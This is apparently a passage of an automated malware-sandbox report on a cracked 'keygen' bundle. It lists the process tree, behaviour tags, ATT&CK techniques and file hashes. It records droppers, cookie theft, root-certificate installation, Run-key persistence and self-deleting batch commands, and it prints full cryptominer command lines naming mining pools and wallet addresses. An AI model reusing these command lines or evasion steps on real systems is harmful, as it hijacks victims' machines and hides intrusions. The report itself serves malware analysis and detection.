C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\18F7.tmp.exe"C:\Users\Admin\AppData\Roaming\18F7.tmp.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w1290 --cpu-max-threads-hint 50 -r 99996⤵
- Blocklisted process makes network request
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w23679@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999996⤵
-
C:\Users\Admin\AppData\Roaming\1A40.tmp.exe"C:\Users\Admin\AppData\Roaming\1A40.tmp.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\1A40.tmp.exe"6⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK7⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"4⤵
-
C:\ProgramData\1298210.exe"C:\ProgramData\1298210.exe"5⤵
-
C:\ProgramData\8037739.exe"C:\ProgramData\8037739.exe"5⤵
- Suspicious use of SetThreadContext
-
C:\ProgramData\8037739.exe"{path}"6⤵
-
C:\ProgramData\1740000.exe"C:\ProgramData\1740000.exe"5⤵
-
C:\ProgramData\7723411.exe"C:\ProgramData\7723411.exe"5⤵
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\is-SNERD.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-SNERD.tmp\vict.tmp" /SL5="$202E8,140785,56832,C:\Users\Admin\AppData\Local\Temp\kavofe1csqt\vict.exe" /VERYSILENT /id=5351⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-O8I2K.tmp\apipostback.exe"C:\Users\Admin\AppData\Local\Temp\is-O8I2K.tmp\apipostback.exe" 535 ev2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 945165F3338532FAC9ABD2A19618D8B5 C2⤵
- Loads dropped DLL
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A2AACA49CE7102B063ECC77FC76DD5BF2⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default3⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" "--anbfs"4⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exeC:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x238,0x23c,0x240,0x214,0x244,0x7ffd738f9ec0,0x7ffd738f9ed0,0x7ffd738f9ee05⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exeC:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ff7f8c64e60,0x7ff7f8c64e70,0x7ff7f8c64e806⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1504,17206215848960549258,2006208121743613522,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6784_1196640941" --mojo-platform-channel-handle=2088 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1504,17206215848960549258,2006208121743613522,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6784_1196640941" --mojo-platform-channel-handle=2072 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1504,17206215848960549258,2006208121743613522,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6784_1196640941" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1520 /prefetch:25⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Weather\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1504,17206215848960549258,2006208121743613522,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6784_1196640941" --nwjs --extension-process --enable-auto-reload --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2656 /prefetch:15⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1504,17206215848960549258,2006208121743613522,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6784_1196640941" --mojo-platform-channel-handle=3124 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1504,17206215848960549258,2006208121743613522,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6784_1196640941" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3108 /prefetch:25⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1504,17206215848960549258,2006208121743613522,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6784_1196640941" --mojo-platform-channel-handle=3384 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1504,17206215848960549258,2006208121743613522,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6784_1196640941" --mojo-platform-channel-handle=3560 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1504,17206215848960549258,2006208121743613522,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6784_1196640941" --mojo-platform-channel-handle=3536 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,17206215848960549258,2006208121743613522,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6784_1196640941" --mojo-platform-channel-handle=1508 /prefetch:85⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXEB75D.bat" "3⤵
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1"4⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\System32\timeout.exe 54⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\System32\timeout.exe 54⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXEB75D.bat"4⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXEB75D.bat" "4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" cls"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXEB74C.bat" "3⤵
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1\AIPACK~1.EXE"4⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\System32\timeout.exe 54⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXEB74C.bat"4⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXEB74C.bat" "4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" cls"4⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\f3e4b396234d4bc985c0fb07eff15fa3 /t 0 /p 54521⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{0daccc3d-f9bf-2b45-bb56-2f265ae2e247}\oemvista.inf" "9" "4d14a44ff" "0000000000000174" "WinSta0\Default" "0000000000000178" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000174"2⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
- Checks SCSI registry key(s)
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
Network
MITRE ATT&CK Matrix ATT&CK v6
Defense Evasion
Modify Registry
4Install Root Certificate
1Hidden Files and Directories
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\unins0000.datMD5
b1fea024dd26bb61f24d14f74e21574c
SHA1750ecb662506d66fc5a8477ad9f92685f8c9e7ee
SHA2562038c6a04451ac48ad3cf25d95bb1bfded2d7b6d0b7c012dad70a71205ea71c9
SHA51278633190ac428fc5b8686ef14a36214d305e57dec6281bf70a1f02d918a3db1e54b30a3941312958b4db861c2ba37c61cc8880382dab3959f728b377ca9f1a86
-
C:\Program Files\unins0000.dllMD5
466f323c95e55fe27ab923372dffff50
SHA1b2dc4328c22fd348223f22db5eca386177408214
SHA2566bfb49245a5a92113a71f731fc22fbb8397f836a123b3267196a2a4f8dd70c5c
SHA51260e242f873d76f77ec7486460d1181468ed060113f6331ab0a4bb540531e0526177819b1413edb316e1d133bd467cfcaacbbe6eb6f63f5b9a9777f50de39cbb6
-
C:\Program Files\unins0000.vbsMD5
6074e379e89c51463ee3a32ff955686a
SHA10c2772c9333bb1fe35b7e30584cefabdf29f71d1
SHA2563d4716dfe7a52575a064590797413b4d00f2366a77af43cf83b131ab43df145e
SHA5120522292e85b179727b62271763eecb23a2042f46023336034ae8f477cd25a65e12519582d08999116d193e6e105753685356b0244c451139a21d4174fb4f6933
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850DMD5
3924fbd2f02e06c9251d7407ebeb183a
SHA17ffbb3a53197fc05a0680fc7acb161ebf8b1050f
SHA256265d776bed4edbf4695276b5ad3bb4ad85600e6374bb545dae1f584d845e62b9
SHA5129e4f32aba82c5f3bf6305d8556a8d9a6f509eae20a37aa33886ee19e878a63e541d4245542ed0d772189399fb26781c37000162b161cd8e8c200d58f15f56b50
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5EE9003E3DC4134E8CF26DC55FD926FAMD5
ec7deaf8e8d227ca584de365e8da7fd2
SHA116333701174f8aaf07a964177f79073e51fc7270
SHA2567ffc9c944f3215da8cb23683500da594ecd48a9ad7e119760cb45f14cc3a6296
SHA512eb08ef0917bc1964d986d379c21ce91c006d1223cd7448540cf65ad2fe65369940dca53fd4377aa0735d82559c1b4983b2216d7feb962d5d926734d13ed5dcb1
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711EMD5
0687c8cc5f4e80212fef00f8ed924712
SHA1d361cc33329300dac80bf294bb7db9e77f9bcd03
SHA256f718ac2e22ebf5dd0d172545affefb6e64348a7323bd6b7090020d3a54b4bcaa
SHA5129972fa71f99948787c1ec81ba1c4e6fc77fdc9b9acd49e36e8b32c5a1ba96b23bd4ce1285eaf17977c7d15530f6b96a938fc2f47d3bcfa25e85e0ca858b8107e
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850DMD5
e02b0200f4fa43bf1cdca4341872060f
SHA1eaf02e75e60b01d7713999f1c9b142fcedc0562c
SHA25658de57aa6cfb12b3400d2b7eb99fe79c88fbd200321d5f78be588a7de4fcb827
SHA512a3c270425334acaab9467acad19e9eeef079427cd651fbad74833128141448d7ecc16092ef0b12d487ea7b5859b0a9794aa103e64f0aba2ec58aa9b815e351fc
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5EE9003E3DC4134E8CF26DC55FD926FAMD5
65cb0d4ee86b43681ce560891ddbe35d
SHA1dfb82012a88864c79a78f5557aecd74c34a6237d
SHA256cf4fd3e7d4e4c5724cf400b131ea40ac523e50c7a0b0838ff2885e6248f27abc
SHA51200ae6fba1d8175ba4e6de6a7e6e57ba663232435a719edb5062f30a4409dce361a3a43cf9e439a4ef90bc2b35bbe613f26ce7e02e8e9723c200c329a9405c12e
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711EMD5
09d0f772ee1180d6d2e131163f526c68
SHA1f36ddc4d92e81fed18642263cdbc96335fcf9b71
SHA2564da9697a2ede81c68cb6ed49a8abee2f6d7f75717ce45e6931e794ceb834c4b8
SHA51299c6f22e46b3ae692caffbf2bd5c2bafb8e0f1929bce5b37d322ba64ef4d19ae56581f1ebda70a4ddde9b3ad839b2e6f271a08c9334364999d6b26103d27f474
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v2.0\UsageLogs\multitimer.exe.logMD5
fa65eca2a4aba58889fe1ec275a058a8
SHA10ecb3c6e40de54509d93570e58e849e71194557a
SHA25695e69d66188dd8287589817851941e167b0193638f4a7225c73ffbd3913c0c2e
SHA512916899c5bfc2d1bef93ab0bf80a7db44b59a132c64fa4d6ab3f7d786ad857b747017aab4060e5a9a77775587700b2ac597c842230172a97544d82521bfc36dff
-
C:\Users\Admin\AppData\Local\Temp\2R2KKCOTQE\setups.exeMD5
1d23d66b5c889b0c4f89a14dff9b4b54
SHA1d155a7abf6f56746216d68a72817edc83a83965c
SHA25641f4a5bef57f66d74fcae90b605da2cf02f062b633ea087e6b3800034d319878
SHA51212dc3565c493fe4e7319808a43d09ef751482253b5fddea90553db4ddbce445477fce17b0d932bd3201fd6ae77726c6c54afff4d6c2bf34a07c39678944fa54e
-
C:\Users\Admin\AppData\Local\Temp\2R2KKCOTQE\setups.exeMD5
1d23d66b5c889b0c4f89a14dff9b4b54
SHA1d155a7abf6f56746216d68a72817edc83a83965c
SHA25641f4a5bef57f66d74fcae90b605da2cf02f062b633ea087e6b3800034d319878
SHA51212dc3565c493fe4e7319808a43d09ef751482253b5fddea90553db4ddbce445477fce17b0d932bd3201fd6ae77726c6c54afff4d6c2bf34a07c39678944fa54e
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exeMD5
65b49b106ec0f6cf61e7dc04c0a7eb74
SHA1a1f4784377c53151167965e0ff225f5085ebd43b
SHA256862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd
SHA512e9030cd609f42fb616e5bac3a5203ae46bbae9ec95682432a367f8805cdaa3e30c18a732ceddb0545ac653d543348a6728866149d2822752c80948066bfdf3da
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exeMD5
65b49b106ec0f6cf61e7dc04c0a7eb74
SHA1a1f4784377c53151167965e0ff225f5085ebd43b
SHA256862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd
SHA512e9030cd609f42fb616e5bac3a5203ae46bbae9ec95682432a367f8805cdaa3e30c18a732ceddb0545ac653d543348a6728866149d2822752c80948066bfdf3da
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exeMD5
c615d0bfa727f494fee9ecb3f0acf563
SHA16c3509ae64abc299a7afa13552c4fe430071f087
SHA25695d91febc45d03c1ee477c127bcbd332cd6fbce1e91105004af723594e6f0199
SHA512d97256eb93d8e546f5fb5c61bebe61e7dfab316eb7685be83782bd36b28df3f80880e7b823197a4b6bae1af7b9460c4c81357dd44ed199ab93ccaee5acc10e51
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exeMD5
c615d0bfa727f494fee9ecb3f0acf563
SHA16c3509ae64abc299a7afa13552c4fe430071f087
SHA25695d91febc45d03c1ee477c127bcbd332cd6fbce1e91105004af723594e6f0199
